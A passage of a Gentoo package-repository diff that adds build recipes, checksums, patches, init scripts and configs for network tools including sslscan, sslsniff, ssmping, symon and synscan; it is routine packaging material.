+inherit eutils toolchain-funcs
+
+DESCRIPTION="Fast SSL port scanner"
+HOMEPAGE="http://sourceforge.net/projects/sslscan/"
+SRC_URI="mirror://sourceforge/sslscan/${P}.tgz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE=""
+
+# Depend on -bindist since sslscan unconditionally requires elliptic
+# curve support, bug 491102
+DEPEND="dev-libs/openssl:0[-bindist]"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-makefile.patch
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)"
+}
+
+src_install() {
+ dobin sslscan
+ doman sslscan.1
+ dodoc Changelog
+}
diff --git a/net-analyzer/sslsniff/Manifest b/net-analyzer/sslsniff/Manifest
new file mode 100644
index 000000000000..9367a795fa5c
--- /dev/null
+++ b/net-analyzer/sslsniff/Manifest
@@ -0,0 +1 @@
+DIST sslsniff-0.8.tar.gz 207858 SHA256 50b4283a3e80fa4b4f3f684c4e76348aba8e257cbaa85e4f4cb7a4062cf091d5 SHA512 4ac1bcff8f396d868b2381bc73bb0307022e9a7d5228c83722abde8d4d01e4c6273042763c1e003c8e60f606d60923a573122d33680f5d892b4ef7b62f02009f WHIRLPOOL d97d6cd55324f84353dad7f7defbb7b1e619acdf8df13b74f752198ad18ebcae1bddd0680f581bc66ebd8c0326cf4f09badc683ca0dc4ada2ed14f8351a10d57
diff --git a/net-analyzer/sslsniff/files/sslsniff-0.6-asneeded.patch b/net-analyzer/sslsniff/files/sslsniff-0.6-asneeded.patch
new file mode 100644
index 000000000000..db629b3c4a25
--- /dev/null
+++ b/net-analyzer/sslsniff/files/sslsniff-0.6-asneeded.patch
@@ -0,0 +1,10 @@
+--- sslsniff-0.6.orig/Makefile.am 2009-08-04 03:48:58.000000000 +0200
++++ sslsniff-0.6/Makefile.am 2009-12-06 20:39:02.066902985 +0100
+@@ -4,6 +4,6 @@
+
+ sslsniff_SOURCES = Bridge.hpp SSLConnectionManager.cpp FingerprintManager.hpp FirefoxAddonUpdater.hpp FirefoxUpdater.hpp HTTPSBridge.hpp Logger.hpp RawBridge.hpp SessionCache.hpp SSLBridge.hpp SSLConnectionManager.hpp sslsniff.hpp UpdateManager.hpp certificate/AuthorityCertificateManager.hpp certificate/Certificate.hpp certificate/CertificateManager.hpp certificate/TargetedCertificateManager.hpp http/HttpBridge.hpp http/HttpConnectionManager.hpp http/HttpHeaders.hpp http/OCSPDenier.hpp util/Destination.hpp util/Util.hpp FirefoxUpdater.cpp Logger.cpp SessionCache.cpp SSLBridge.cpp HTTPSBridge.cpp sslsniff.cpp FingerprintManager.cpp certificate/AuthorityCertificateManager.cpp certificate/TargetedCertificateManager.cpp certificate/CertificateManager.cpp http/HttpBridge.cpp http/HttpConnectionManager.cpp http/HttpHeaders.cpp UpdateManager.cpp http/OCSPDenier.cpp FirefoxAddonUpdater.cpp
+
+-sslsniff_LDFLAGS = -lssl -lboost_filesystem -lpthread -lboost_thread -llog4cpp
++sslsniff_LDADD = -lssl -lboost_filesystem -lpthread -lboost_thread -llog4cpp
+
+ EXTRA_DIST = certs/wildcard IPSCACLASEA1.crt leafcert.pem updates/Darwin_Universal-gcc3.xml updates/Linux_x86-gcc3.xml updates/WINNT_x86-msvc.xml
diff --git a/net-analyzer/sslsniff/files/sslsniff-0.8-fix-compatibility-with-boost-1.47-and-higher.patch b/net-analyzer/sslsniff/files/sslsniff-0.8-fix-compatibility-with-boost-1.47-and-higher.patch
new file mode 100644
index 000000000000..eb0a052c7988
--- /dev/null
+++ b/net-analyzer/sslsniff/files/sslsniff-0.8-fix-compatibility-with-boost-1.47-and-higher.patch
@@ -0,0 +1,53 @@
+Index: sslsniff/SSLConnectionManager.cpp
+===================================================================
+--- sslsniff.orig/SSLConnectionManager.cpp 2011-12-31 09:25:04.000000000 +0100
++++ sslsniff/SSLConnectionManager.cpp 2011-12-31 09:26:14.394534948 +0100
+@@ -44,7 +44,7 @@
+ }
+
+ void SSLConnectionManager::acceptIncomingConnection() {
+- boost::shared_ptr<ip::tcp::socket> socket(new ip::tcp::socket(acceptor.io_service()));
++ boost::shared_ptr<ip::tcp::socket> socket(new ip::tcp::socket(acceptor.get_io_service()));
+
+ acceptor.async_accept(*socket, boost::bind(&SSLConnectionManager::handleClientConnection,
+ this, socket, placeholders::error));
+@@ -76,7 +76,7 @@
+ ip::tcp::endpoint &destination)
+
+ {
+- Bridge::ptr bridge = RawBridge::create(clientSocket, destination, acceptor.io_service());
++ Bridge::ptr bridge = RawBridge::create(clientSocket, destination, acceptor.get_io_service());
+ bridge->shuttle();
+ }
+
+@@ -134,7 +134,7 @@
+ ip::tcp::endpoint &destination,
+ bool wildcardOK)
+ {
+- ip::tcp::socket serverSocket(acceptor.io_service());
++ ip::tcp::socket serverSocket(acceptor.get_io_service());
+ boost::system::error_code error;
+ serverSocket.connect(destination, error);
+
+Index: sslsniff/http/HttpConnectionManager.cpp
+===================================================================
+--- sslsniff.orig/http/HttpConnectionManager.cpp 2011-05-14 11:37:52.000000000 +0200
++++ sslsniff/http/HttpConnectionManager.cpp 2011-12-31 09:26:28.442534999 +0100
+@@ -53,7 +53,7 @@
+ }
+
+ void HttpConnectionManager::acceptIncomingConnection() {
+- boost::shared_ptr<ip::tcp::socket> socket(new ip::tcp::socket(acceptor_.io_service()));
++ boost::shared_ptr<ip::tcp::socket> socket(new ip::tcp::socket(acceptor_.get_io_service()));
+
+ acceptor_.async_accept(*socket, boost::bind(&HttpConnectionManager::handleClientConnection,
+ this, socket, placeholders::error));
+@@ -63,7 +63,7 @@
+ void HttpConnectionManager::bridgeHttpRequest(boost::shared_ptr<ip::tcp::socket> socket,
+ ip::tcp::endpoint destination)
+ {
+- Bridge::ptr bridge = HttpBridge::create(socket, acceptor_.io_service(),
++ Bridge::ptr bridge = HttpBridge::create(socket, acceptor_.get_io_service(),
+ FingerprintManager::getInstance());
+
+ bridge->getServerSocket().
diff --git a/net-analyzer/sslsniff/files/sslsniff-0.8-underlinking.patch b/net-analyzer/sslsniff/files/sslsniff-0.8-underlinking.patch
new file mode 100644
index 000000000000..049ee5f293a0
--- /dev/null
+++ b/net-analyzer/sslsniff/files/sslsniff-0.8-underlinking.patch
@@ -0,0 +1,21 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -16,7 +16,7 @@
+ AC_CHECK_HEADER([boost/thread.hpp],
+ [],
+ AC_MSG_ERROR([libboost-thread1.35-dev library is not installed.]))
+-AC_CHECK_HEADER([openssl/ssl.h],
++PKG_CHECK_MODULES(openssl,openssl,
+ [],
+ AC_MSG_ERROR([openssl (libssl-dev) library not installed.]))
+ AC_OUTPUT(Makefile)
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -4,6 +4,6 @@
+
+ sslsniff_SOURCES = Bridge.hpp SSLConnectionManager.cpp FingerprintManager.hpp FirefoxAddonUpdater.hpp FirefoxUpdater.hpp HTTPSBridge.hpp Logger.hpp RawBridge.hpp SessionCache.hpp SSLBridge.hpp SSLConnectionManager.hpp sslsniff.hpp UpdateManager.hpp certificate/AuthorityCertificateManager.hpp certificate/Certificate.hpp certificate/CertificateManager.hpp certificate/TargetedCertificateManager.hpp http/HttpBridge.hpp http/HttpConnectionManager.hpp http/HttpHeaders.hpp http/OCSPDenier.hpp util/Destination.cpp util/Destination.hpp util/Util.hpp FirefoxUpdater.cpp Logger.cpp SessionCache.cpp SSLBridge.cpp HTTPSBridge.cpp sslsniff.cpp FingerprintManager.cpp certificate/AuthorityCertificateManager.cpp certificate/TargetedCertificateManager.cpp certificate/CertificateManager.cpp http/HttpBridge.cpp http/HttpConnectionManager.cpp http/HttpHeaders.cpp UpdateManager.cpp http/OCSPDenier.cpp FirefoxAddonUpdater.cpp
+
+-sslsniff_LDADD = -lssl -lboost_filesystem -lpthread -lboost_thread -llog4cpp
++sslsniff_LDADD = $(openssl_LIBS) -lboost_system -lboost_filesystem -lpthread -lboost_thread -llog4cpp
+
+ EXTRA_DIST = certs/wildcard IPSCACLASEA1.crt leafcert.pem updates/Darwin_Universal-gcc3.xml updates/Linux_x86-gcc3.xml updates/WINNT_x86-msvc.xml
diff --git a/net-analyzer/sslsniff/metadata.xml b/net-analyzer/sslsniff/metadata.xml
new file mode 100644
index 000000000000..ac4283867e48
--- /dev/null
+++ b/net-analyzer/sslsniff/metadata.xml
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+ <email>robbat2@gentoo.org</email>
+</maintainer>
+<maintainer>
+ <email>prometheanfire@gentoo.org</email>
+</maintainer>
+<maintainer>
+ <email>zerochaos@gentoo.org</email>
+ <name>Rick Farina</name>
+ <description>co-maintainer</description>
+</maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/sslsniff/sslsniff-0.8-r1.ebuild b/net-analyzer/sslsniff/sslsniff-0.8-r1.ebuild
new file mode 100644
index 000000000000..90d7c8a83fa6
--- /dev/null
+++ b/net-analyzer/sslsniff/sslsniff-0.8-r1.ebuild
@@ -0,0 +1,47 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+PYTHON_DEPEND="2"
+
+inherit autotools eutils
+
+DESCRIPTION="MITM all SSL connections on a LAN and dynamically generates certs"
+HOMEPAGE="http://thoughtcrime.org/software/sslsniff/"
+SRC_URI="http://thoughtcrime.org/software/sslsniff/${P}.tar.gz"
+
+LICENSE="GPL-3" # plus OpenSSL exception
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="dev-libs/boost:=
+ dev-libs/log4cpp
+ dev-libs/openssl"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-0.6-asneeded.patch
+
+ #stolen from http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=652756
+ epatch \
+ "${FILESDIR}"/${P}-fix-compatibility-with-boost-1.47-and-higher.patch \
+ "${FILESDIR}"/${P}-underlinking.patch
+
+ eautoreconf
+}
+
+src_install() {
+ emake DESTDIR="${D}" install || die
+ dodoc AUTHORS README
+
+ insinto /usr/share/sslsniff
+ doins leafcert.pem IPSCACLASEA1.crt
+
+ insinto /usr/share/sslsniff/updates
+ doins updates/*xml
+
+ insinto /usr/share/sslsniff/certs
+ doins certs/*
+}
diff --git a/net-analyzer/ssmping/Manifest b/net-analyzer/ssmping/Manifest
new file mode 100644
index 000000000000..cc1b3370eb31
--- /dev/null
+++ b/net-analyzer/ssmping/Manifest
@@ -0,0 +1 @@
+DIST ssmping-0.9.1.tar.gz 16863 SHA256 22103a37eaa28489169a0927bc01e0596c3485fc4d29fc8456c07fd2c70fca6d SHA512 7929b43867f29ac7f93298820149fd326d8540187a59e4f28f226e1c0dbfcdc60dc3da437de250e4082a2d6bd845ae9e619bf3b592b824dd8d529bf093cdedff WHIRLPOOL 0e69588c71917e01469f600696a0e9dcef936eb4a0515c70339ca9ee6c268f9f22e4e8f1d91e39635d41ad510473f5708aa3aa3d5b37e82dcfa725f3cda6541f
diff --git a/net-analyzer/ssmping/files/ssmping-0.9-build.patch b/net-analyzer/ssmping/files/ssmping-0.9-build.patch
new file mode 100644
index 000000000000..586819ca0dd5
--- /dev/null
+++ b/net-analyzer/ssmping/files/ssmping-0.9-build.patch
@@ -0,0 +1,23 @@
+fixup build errors/warnings
+
+http://bugs.gentoo.org/240750
+
+--- a/Makefile
++++ b/Makefile
+@@ -1,4 +1,5 @@
+ PREFIX ?= /usr/local
++CPPFLAGS += -D_GNU_SOURCE
+
+ all: ssmping asmping ssmpingd mcfirst
+
+--- a/ssmping.c
++++ b/ssmping.c
+@@ -22,7 +22,7 @@
+ uint16_t size;
+ uint32_t intface;
+ struct sockaddr_storage name, ucaddr, mcaddr, grpaddr;
+- size_t namelen;
++ socklen_t namelen;
+ #ifdef WIN32
+ WORD wVersionRequested;
+ WSADATA wsaData;
diff --git a/net-analyzer/ssmping/metadata.xml b/net-analyzer/ssmping/metadata.xml
new file mode 100644
index 000000000000..b5353e0b229e
--- /dev/null
+++ b/net-analyzer/ssmping/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <herd>proxy-maintainers</herd>
+ <maintainer>
+ <email>venaas@uninett.no</email>
+ <name>Stig Venaas (upstream)</name>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/ssmping/ssmping-0.9.1.ebuild b/net-analyzer/ssmping/ssmping-0.9.1.ebuild
new file mode 100644
index 000000000000..5d242e12c51e
--- /dev/null
+++ b/net-analyzer/ssmping/ssmping-0.9.1.ebuild
@@ -0,0 +1,24 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="Tool for testing multicast connectivity"
+HOMEPAGE="http://www.venaas.no/multicast/ssmping/"
+LICENSE="public-domain"
+SRC_URI="http://www.venaas.no/multicast/ssmping/${P}.tar.gz"
+SLOT="0"
+KEYWORDS="amd64 x86"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-0.9-build.patch
+ tc-export CC
+}
+
+src_install() {
+ dobin ssmping asmping mcfirst
+ dosbin ssmpingd
+ doman ssmping.1 asmping.1 mcfirst.1
+}
diff --git a/net-analyzer/symon/Manifest b/net-analyzer/symon/Manifest
new file mode 100644
index 000000000000..b2d2833bb7ab
--- /dev/null
+++ b/net-analyzer/symon/Manifest
@@ -0,0 +1,2 @@
+DIST symon-2.86.tar.gz 106791 SHA256 c36457e53e91cbb478cb57d96bf40c718a8582e0b19bd4cba247002b7a6068b3 SHA512 13f96654ee4569ac0a92fd601962d2610e83d03a59b0772c385788586ee7bcc2639012388b8c123dd6f12368e21e834c5a12c32152fc73e9e87553889962ee46 WHIRLPOOL bc94567f1c7ca36d30afd74f2747cbb239e86b8b7255541ff5ca4e2adafaed794249f455339a04c8291260430279840395e02e3733619f0e3595da2fdbfd7d21
+DIST symon-2.87.tar.gz 107607 SHA256 3c0fa1aa0073f66c45697ffc12bb8da669eb67aeac22041d21235bbc515a8602 SHA512 8fce5cf2312f1d7ba78f693da2df9fea3bbeacae0c1b65f79c5f2444fcf07e07b11a5a7229ba762ac47ce484429a42f37bcbcc9e001fce0e5813a0dffd57a953 WHIRLPOOL ce9277f03198fbfa197aaa3540d6f5226d3f449bf69a2ee083917f4afe2e6439cfcc3289792c1f1ecf727d004d6aec3f470a813700f033fa6d9e13390ed5ce22
diff --git a/net-analyzer/symon/files/symon-2.86-perl-5.18.patch b/net-analyzer/symon/files/symon-2.86-perl-5.18.patch
new file mode 100644
index 000000000000..83ea4b013dad
--- /dev/null
+++ b/net-analyzer/symon/files/symon-2.86-perl-5.18.patch
@@ -0,0 +1,38 @@
+--- a/client/SymuxClient.pm
++++ b/client/SymuxClient.pm
+@@ -267,23 +267,35 @@
+
+ =head2 METHODS
+
++=over 4
++
+ =item getitem (host, stream, item)
+
++=back
++
+ Refresh the measured data and get an item from a stream for a particular
+ host. Note that successive calls for this function deal with successive
+ measurements of B<symon>. Set C<host> to '*' if data about any host is of
+ interest. Any errors are sent out on STDOUT prepended with 'error: '.
+
++=over 4
++
+ =item getcacheditem (host, stream, item)
+
++=back
++
+ Get an item from a stream for a particular host. Returns C<undef> if no data is
+ cached, or if the data cached does not match the B<host>. Can be called
+ multiple times to obtain items from the same measurement. Set C<host> to '*' if
+ data about any host is of interest. Any errors are sent out on STDOUT prepended
+ with 'error: '.
+
++=over 4
++
+ =item getsource ()
+
++=back
++
+ Get the symon source host of the currently cached information. Usefull to see
+ what host's data getcacheditem is working on.
+
diff --git a/net-analyzer/symon/files/symon-init.d b/net-analyzer/symon/files/symon-init.d
new file mode 100644
index 000000000000..2d4cd7afcd85
--- /dev/null
+++ b/net-analyzer/symon/files/symon-init.d
@@ -0,0 +1,33 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the 2-clause BSD license
+# $Id$
+
+extra_started_commands="reload"
+
+depend() {
+ after bootmisc
+ need localmount net
+ use logger
+}
+
+reload() {
+ ebegin "Reloading symon"
+ start-stop-daemon \
+ --pidfile /run/symon.pid \
+ --exec /usr/sbin/symon \
+ --signal HUP
+ eend $?
+}
+
+start() {
+ ebegin "Starting symon"
+ start-stop-daemon --start --exec /usr/sbin/symon -- -u
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping symon"
+ start-stop-daemon --stop --pidfile /run/symon.pid
+ eend $?
+}
diff --git a/net-analyzer/symon/files/symon.conf b/net-analyzer/symon/files/symon.conf
new file mode 100644
index 000000000000..920662185e58
--- /dev/null
+++ b/net-analyzer/symon/files/symon.conf
@@ -0,0 +1,14 @@
+#
+# Demo configuration for symon. See symon(8) for BNF.
+#
+
+monitor { cpu(0), mem,
+ if(lo),
+# cpuiow(0),
+# sensor(fan0), sensor(in0), sensor(temp0),
+# if(eth0), if(eth1), if(eth2),
+# df(sda),
+# smart(sda),
+# io(hda), io(hdb), io(hdc), io(hdd)
+ io(sda)
+} stream to 127.0.0.1 2100
diff --git a/net-analyzer/symon/files/symux-init.d b/net-analyzer/symon/files/symux-init.d
new file mode 100644
index 000000000000..006fba0e6a46
--- /dev/null
+++ b/net-analyzer/symon/files/symux-init.d
@@ -0,0 +1,33 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the 2-clause BSD license
+# $Id$
+
+extra_started_commands="reload"
+
+depend() {
+ after bootmisc
+ need localmount net
+ use logger
+}
+
+reload() {
+ ebegin "Reloading symux"
+ start-stop-daemon \
+ --pidfile /run/symux.pid \
+ --exec /usr/sbin/symux \
+ --signal HUP
+ eend $?
+}
+
+start() {
+ ebegin "Starting symux"
+ start-stop-daemon --start --exec /usr/sbin/symux
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping symux"
+ start-stop-daemon --stop --pidfile /run/symux.pid
+ eend $?
+}
diff --git a/net-analyzer/symon/files/symux.conf b/net-analyzer/symon/files/symux.conf
new file mode 100644
index 000000000000..fa0ed50631d7
--- /dev/null
+++ b/net-analyzer/symon/files/symux.conf
@@ -0,0 +1,35 @@
+#
+# Demo symux configuration. See symux(8) for BNF.
+#
+
+mux 127.0.0.1 2100
+
+source 127.0.0.1 {
+ accept { cpu(0), mem,
+ if(lo),
+# cpuiow(0),
+# sensor(fan0), sensor(in0), sensor(temp0),
+# if(eth0), if(eth1), if(eth2),
+# df(sda),
+# smart(sda),
+# io(hda), io(hdb), io(hdc), io(hdd)
+ io(sda)
+ }
+ datadir "/var/lib/symon/rrds/localhost"
+}
+
+# an example showing the write directive
+#
+# source 10.0.0.2 {
+# accept { cpu(0), mem, if(eth0), if(eth1),
+# if(lo), if(eth2), io(sda)
+# }
+#
+# write cpu(0) in "/var/lib/symon/rrds/<host>/cpu0.rrd"
+# write mem in "/var/lib/symon/rrds/<host>/mem.rrd"
+# write if(eth0) in "/var/lib/symon/rrds/<host>/if_eth0.rrd"
+# write if(eth1) in "/var/lib/symon/rrds/<host>/if_eth1.rrd"
+# write if(lo) in "/var/lib/symon/rrds/<host>/if_lo.rrd"
+# write if(eth2) in "/var/lib/symon/rrds/<host>/if_eth2.rrd"
+# write io(sda) in "/var/lib/symon/rrds/<host>/io_sda.rrd"
+# }
diff --git a/net-analyzer/symon/metadata.xml b/net-analyzer/symon/metadata.xml
new file mode 100644
index 000000000000..00d90d6efcf9
--- /dev/null
+++ b/net-analyzer/symon/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <use>
+ <flag name='perl'>Enables a generic perl symux client</flag>
+ <flag name='symon'>Enables the system monitor. Offers no functionality
+ but monitoring and forwarding of measured data</flag>
+ <flag name='symux'>Enables the multiplexer which stores incoming symon
+ streams on disk in RRD (<pkg>net-analyzer/rrdtool</pkg>) files</flag>
+ </use>
+</pkgmetadata>
diff --git a/net-analyzer/symon/symon-2.86-r1.ebuild b/net-analyzer/symon/symon-2.86-r1.ebuild
new file mode 100644
index 000000000000..597a0ee8ab2d
--- /dev/null
+++ b/net-analyzer/symon/symon-2.86-r1.ebuild
@@ -0,0 +1,110 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils perl-module toolchain-funcs
+
+DESCRIPTION="Performance and information monitoring tool"
+HOMEPAGE="http://www.xs4all.nl/~wpd/symon/"
+SRC_URI="http://www.xs4all.nl/~wpd/symon/philes/${P}.tar.gz"
+
+LICENSE="BSD-2"
+SLOT="0"
+KEYWORDS="~amd64 ~sparc ~x86"
+IUSE="perl +symon symux"
+
+RDEPEND="perl? ( dev-lang/perl )
+ symux? ( net-analyzer/rrdtool )"
+DEPEND="${RDEPEND}
+ virtual/pmake"
+
+S=${WORKDIR}/${PN}
+
+# Deletes the directory passed as an argument from the internal pmake
+# variable SUBDIR.
+zap_subdir() {
+ sed -i "/^SUBDIR/s|$1||" Makefile || die
+}
+
+pkg_setup() {
+ use symon && USE_SYMON=1 && return
+
+ if ! use perl && ! use symon && ! use symux; then
+ ewarn "You have all available USE flags disabled. Therefore, only the"
+ ewarn "system monitor will be emerged. Please, enable at least one USE"
+ ewarn "flag to avoid this message."
+ USE_SYMON=1
+ fi
+}
+
+src_prepare() {
+ sed -i \
+ -e '/^[ \t]*${CC}.*\${LIBS}/s:\${CC}:$(CC) $(LDFLAGS):' \
+ sym*/Makefile || die
+
+ epatch "${FILESDIR}"/${P}-perl-5.18.patch
+}
+
+src_configure() {
+ # Do some sed magic in accordance with the USE flags.
+ use perl && [[ -z ${USE_SYMON} ]] && ! use symux && zap_subdir lib
+ ! use perl && zap_subdir client
+ ! use symux && zap_subdir symux
+ [[ -z ${USE_SYMON} ]] && zap_subdir symon
+}
+
+src_compile() {
+ pmake CC="$(tc-getCC)" CFLAGS+="${CFLAGS}" STRIP=true || die "pmake failed"
+}
+
+src_install() {
+ if [[ -n ${USE_SYMON} ]]; then
+ insinto /etc
+ doins "${FILESDIR}"/symon.conf
+
+ newinitd "${FILESDIR}"/symon-init.d symon
+
+ dodoc CHANGELOG HACKERS TODO
+
+ doman symon/symon.8
+ dosbin symon/symon
+ fi
+
+ if use perl; then
+ dobin client/getsymonitem.pl
+
+ perl_set_version
+ insinto ${VENDOR_LIB}
+ doins client/SymuxClient.pm
+ fi
+
+ if use symux; then
+ insinto /etc
+ doins "${FILESDIR}"/symux.conf
+
+ newinitd "${FILESDIR}"/symux-init.d symux
+
+ doman symux/symux.8
+ dosbin symux/symux
+
+ dodir /usr/share/symon
+ insinto /usr/share/symon
+ doins symux/c_smrrds.sh
+ fperms a+x /usr/share/symon/c_smrrds.sh
+
+ dodir /var/lib/symon/rrds/localhost
+ fi
+}
+
+pkg_postinst() {
+ if use symux; then
+ elog "The RRDs files can be obtained by running"
+ elog "/usr/share/symon/c_smrrds.sh all."
+ elog "For information about migrating RRDs from a previous"
+ elog "symux version read the LEGACY FORMATS section of symux(8)."
+ elog "To view the rrdtool pictures of the stored data, emerge"
+ elog "net-analyzer/syweb."
+ fi
+}
diff --git a/net-analyzer/symon/symon-2.87.ebuild b/net-analyzer/symon/symon-2.87.ebuild
new file mode 100644
index 000000000000..3ac8f5483f5d
--- /dev/null
+++ b/net-analyzer/symon/symon-2.87.ebuild
@@ -0,0 +1,107 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils perl-module toolchain-funcs
+
+DESCRIPTION="Performance and information monitoring tool"
+HOMEPAGE="http://www.xs4all.nl/~wpd/symon/"
+SRC_URI="http://www.xs4all.nl/~wpd/symon/philes/${P}.tar.gz"
+
+LICENSE="BSD-2"
+SLOT="0"
+KEYWORDS="~amd64 ~sparc ~x86"
+IUSE="perl +symon symux"
+
+RDEPEND="perl? ( dev-lang/perl )
+ symux? ( net-analyzer/rrdtool )"
+DEPEND="${RDEPEND}
+ virtual/pmake"
+
+S=${WORKDIR}/${PN}
+
+# Deletes the directory passed as an argument from the internal pmake
+# variable SUBDIR.
+zap_subdir() {
+ sed -i "/^SUBDIR/s|$1||" Makefile || die
+}
+
+pkg_setup() {
+ use symon && USE_SYMON=1 && return
+
+ if ! use perl && ! use symon && ! use symux; then
+ ewarn "You have all available USE flags disabled. Therefore, only the"
+ ewarn "system monitor will be emerged. Please, enable at least one USE"
+ ewarn "flag to avoid this message."
+ USE_SYMON=1
+ fi
+}
+
+src_prepare() {
+ sed -i \
+ -e '/^[ \t]*${CC}.*\${LIBS}/s:\${CC}:$(CC) $(LDFLAGS):' \
+ sym*/Makefile || die
+}
+
+src_configure() {
+ # Do some sed magic in accordance with the USE flags.
+ use perl && [[ -z ${USE_SYMON} ]] && ! use symux && zap_subdir lib
+ ! use perl && zap_subdir client
+ ! use symux && zap_subdir symux
+ [[ -z ${USE_SYMON} ]] && zap_subdir symon
+}
+
+src_compile() {
+ pmake CC="$(tc-getCC)" CFLAGS+="${CFLAGS}" STRIP=true || die "pmake failed"
+}
+
+src_install() {
+ if [[ -n ${USE_SYMON} ]]; then
+ insinto /etc
+ doins "${FILESDIR}"/symon.conf
+
+ newinitd "${FILESDIR}"/symon-init.d symon
+
+ dodoc CHANGELOG HACKERS TODO
+
+ doman symon/symon.8
+ dosbin symon/symon
+ fi
+
+ if use perl; then
+ dobin client/getsymonitem.pl
+
+ perl_set_version
+ insinto ${VENDOR_LIB}
+ doins client/SymuxClient.pm
+ fi
+
+ if use symux; then
+ insinto /etc
+ doins "${FILESDIR}"/symux.conf
+
+ newinitd "${FILESDIR}"/symux-init.d symux
+
+ doman symux/symux.8
+ dosbin symux/symux
+
+ dodir /usr/share/symon
+ insinto /usr/share/symon
+ doins symux/c_smrrds.sh
+ fperms a+x /usr/share/symon/c_smrrds.sh
+
+ dodir /var/lib/symon/rrds/localhost
+ fi
+}
+
+pkg_postinst() {
+ if use symux; then
+ elog "The RRDs files can be obtained by running"
+ elog "/usr/share/symon/c_smrrds.sh all."
+ elog "For information about migrating RRDs from a previous"
+ elog "symux version read the LEGACY FORMATS section of symux(8)."
+ elog "To view the rrdtool pictures of the stored data, emerge"
+ elog "net-analyzer/syweb."
+ fi
+}
diff --git a/net-analyzer/synscan/Manifest b/net-analyzer/synscan/Manifest
new file mode 100644
index 000000000000..93263ad067a8
--- /dev/null
+++ b/net-analyzer/synscan/Manifest
@@ -0,0 +1 @@
+DIST synscan-5.01.tar.gz 61440 SHA256 6fca109c82fe407dedaa9152963c7faa7445a998fb0ad1971bd861d7bafcc29f SHA512 6a090ceed5ca0766b63a82fee468459a47cc2bbd97c120d0e0b8708f5ce154116d988a42ff29a9b6fa5fd6d699064b1df0e263795c4dcef0f619797289db88fc WHIRLPOOL e89f094780aac5c0e6443b8cfc95546a5743e5acaf588398d8851ff0507b315660fd572c4f02ef1451098c6e23ff096d758bbe6210bb5f2991e8f6b766a0c931
diff --git a/net-analyzer/synscan/files/synscan-5.01-build.patch b/net-analyzer/synscan/files/synscan-5.01-build.patch
new file mode 100644
index 000000000000..79cf6943e185
--- /dev/null
+++ b/net-analyzer/synscan/files/synscan-5.01-build.patch
@@ -0,0 +1,79 @@
+diff -ur synscan-5.01.orig/configure.in synscan-5.01/configure.in
+--- synscan-5.01.orig/configure.in 2009-03-31 23:22:46.000000000 +0300
++++ synscan-5.01/configure.in 2010-06-14 00:31:06.000000000 +0300
+@@ -49,7 +49,7 @@
+ owd=`pwd`
+ if cd $withval; then withval=`pwd`; cd $owd; fi
+ CFLAGS="$CFLAGS -I$withval -I$withval/bpf"
+- LDFLAGS="$LDFLAGS -L$withval -lpcap"
++ LIBS="$LIBS -L$withval -lpcap"
+ else
+ AC_ERROR(pcap.h or libpcap.a not found in $withval)
+ fi
+@@ -57,12 +57,12 @@
+ esac ],
+ [ if test -f ${prefix}/include/pcap.h; then
+ CFLAGS="$CFLAGS -I${prefix}/include"
+- LDFLAGS="$LDFLAGS -L${prefix}/lib -lpcap"
++ LIBS="$LIBS -L${prefix}/lib -lpcap"
+ elif test -f /usr/include/pcap/pcap.h; then
+ CFLAGS="$CFLAGS -I/usr/include/pcap"
+- LDFLAGS="$LDFLAGS -lpcap"
++ LIBS="$LIBS -lpcap"
+ elif test -f /usr/include/pcap.h; then
+- LDFLAGS="$LDFLAGS -lpcap"
++ LIBS="$LIBS -lpcap"
+ else
+ AC_MSG_RESULT(no)
+ AC_ERROR(libpcap not found)
+@@ -73,12 +73,15 @@
+ ##
+ ## Check of getoptlong
+ ##
+-AC_CHECK_FUNCS([getopt_long],,
+- AC_CHECK_LIB([gnugetopt], getopt_long,
+- [ LDFLAGS="$LDFLAGS -lgnugetopt";
+- AC_DEFINE([HAVE_GETOPT_LONG])]
+- )
+-)
++ac_cv_have_getopt_long="no"
++AC_CHECK_FUNCS([getopt_long],
++ [ac_cv_have_getopt_long="yes"],
++ [AC_CHECK_LIB([gnugetopt], [getopt_long],
++ [ac_cv_have_getopt_long="yes"
++ LIBS="${LIBS} -lgnugetopt"])])
++if test "$ac_cv_have_getopt_long" != "no"; then
++ AC_DEFINE([HAVE_GETOPT_LONG])
++fi
+
+ ##
+ ## Output files
